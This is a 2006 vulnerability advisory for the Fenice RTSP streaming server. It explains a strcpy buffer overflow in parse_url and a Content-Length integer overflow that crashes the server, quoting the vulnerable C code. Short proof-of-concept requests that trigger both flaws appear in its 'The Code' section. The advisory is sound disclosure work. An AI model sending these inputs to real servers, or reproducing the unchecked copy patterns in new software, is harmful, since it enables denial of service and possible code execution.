####################################################################### Luigi Auriemma Application: Fenice - Open Media Streaming Server http://streaming.polito.it/server Versions: <= 1.10 and current SVN 2005-07-26 Platforms: *nix, *BSD and others Bugs: A] buffer-overflow in parse_url B] crash in RTSP_msg_len Exploitation: remote Date: 23 Apr 2006 Author: Luigi Auriemma e-mail: aluigi@autistici.org web: aluigi.org ####################################################################### 1) Introduction 2) Bugs 3) The Code 4) Fix ####################################################################### =============== 1) Introduction =============== Fenice is the name of the Open Media Streaming Server (OMS) developed by the italian team of the Politecnico di Torino University. This open source server implements the RTSP, RTP and RTCP protocols. ####################################################################### ======= 2) Bugs ======= ------------------------------- A] buffer-overflow in parse_url ------------------------------- The RTSP module of Fenice uses a function (parse_url) for retrieving the server, the port and the filename contained in the URI sent by the client. This function uses some strcpy calls for filling the server and file_name buffers passed by the main function allowing an attacker to use the consequent buffer-overflow vulnerability for executing possible malicious code. From rtsp/parse_url.c: int parse_url(const char *url, char *server, unsigned short *port, char *file_name) // Note: this routine comes from OMS { /* expects format '[rtsp://server[:port/]]filename' */ ... strcpy(server, token); ... token = strtok(NULL, " "); if (token) strcpy(file_name, token); ... char *token = strtok(full, " \t\n"); if (token) { strcpy(file_name, token); server[0] = '\0'; valid_url = 1; } } free(full); return valid_url; } ------------------------ B] crash in RTSP_msg_len ------------------------ The function which handles the Content-Length field sent by the client doesn't check the size/sign of this parameter. In the function RTSP_msg_len we can see the ml variable used to contain the number of bytes in the header and bl for the Content-Length value. When the end of the client's request is reached the program adds bl to ml. If bl (Content-Length) is a big value like 2147483647 or more ml will become a negative number (ml is a signed integer like all the other variables there) and the subsequent check "ml > rtsp->in_size" will be bypassed. The result is the reading access to an invalid zone of the memory which will cause the immediate crash of the server. From rtsp/RTSP_msg_len.c: void RTSP_msg_len(int *hdr_len, int *body_len, RTSP_buffer * rtsp) // This routine is from OMS. { int eom; /* end of message found */ int mb; /* message body exists */ int tc; /* terminator count */ int ws; /* white space */ int ml; /* total message length including any message body */ int bl; /* message body length */ char c; /* character */ char *p; eom = mb = ml = bl = 0; while (ml <= rtsp->in_size) { ... if (eom) { ml += bl; /* add in the message body length */ break; /* all done finding the end of the message. */ } if (ml >= rtsp->in_size) break; ... if (sscanf(&(rtsp->in_buffer[ml]), "%d", &bl) != 1) { fnc_log(FNC_LOG_FATAL,"invalid ContentLength encountered in message."); exit(-1); } } } } if (ml > rtsp->in_size) { fnc_log(FNC_LOG_FATAL,"buffer did not contain the entire RTSP message."); exit(-1); } ... *hdr_len = ml - bl; for (tc = rtsp->in_size - ml, p = &(rtsp->in_buffer[ml]); tc && (*p == '\0'); p++, bl++, tc--); *body_len = bl; } ####################################################################### =========== 3) The Code =========== A] GET /[about 320 'a's] HTTP/1.0 B] GET / HTTP/1.0 Content-Length: 4294967295 ####################################################################### ====== 4) Fix ====== A patch will be released soon. Update 06 Jun 2006: SVN r353 is fixed #######################################################################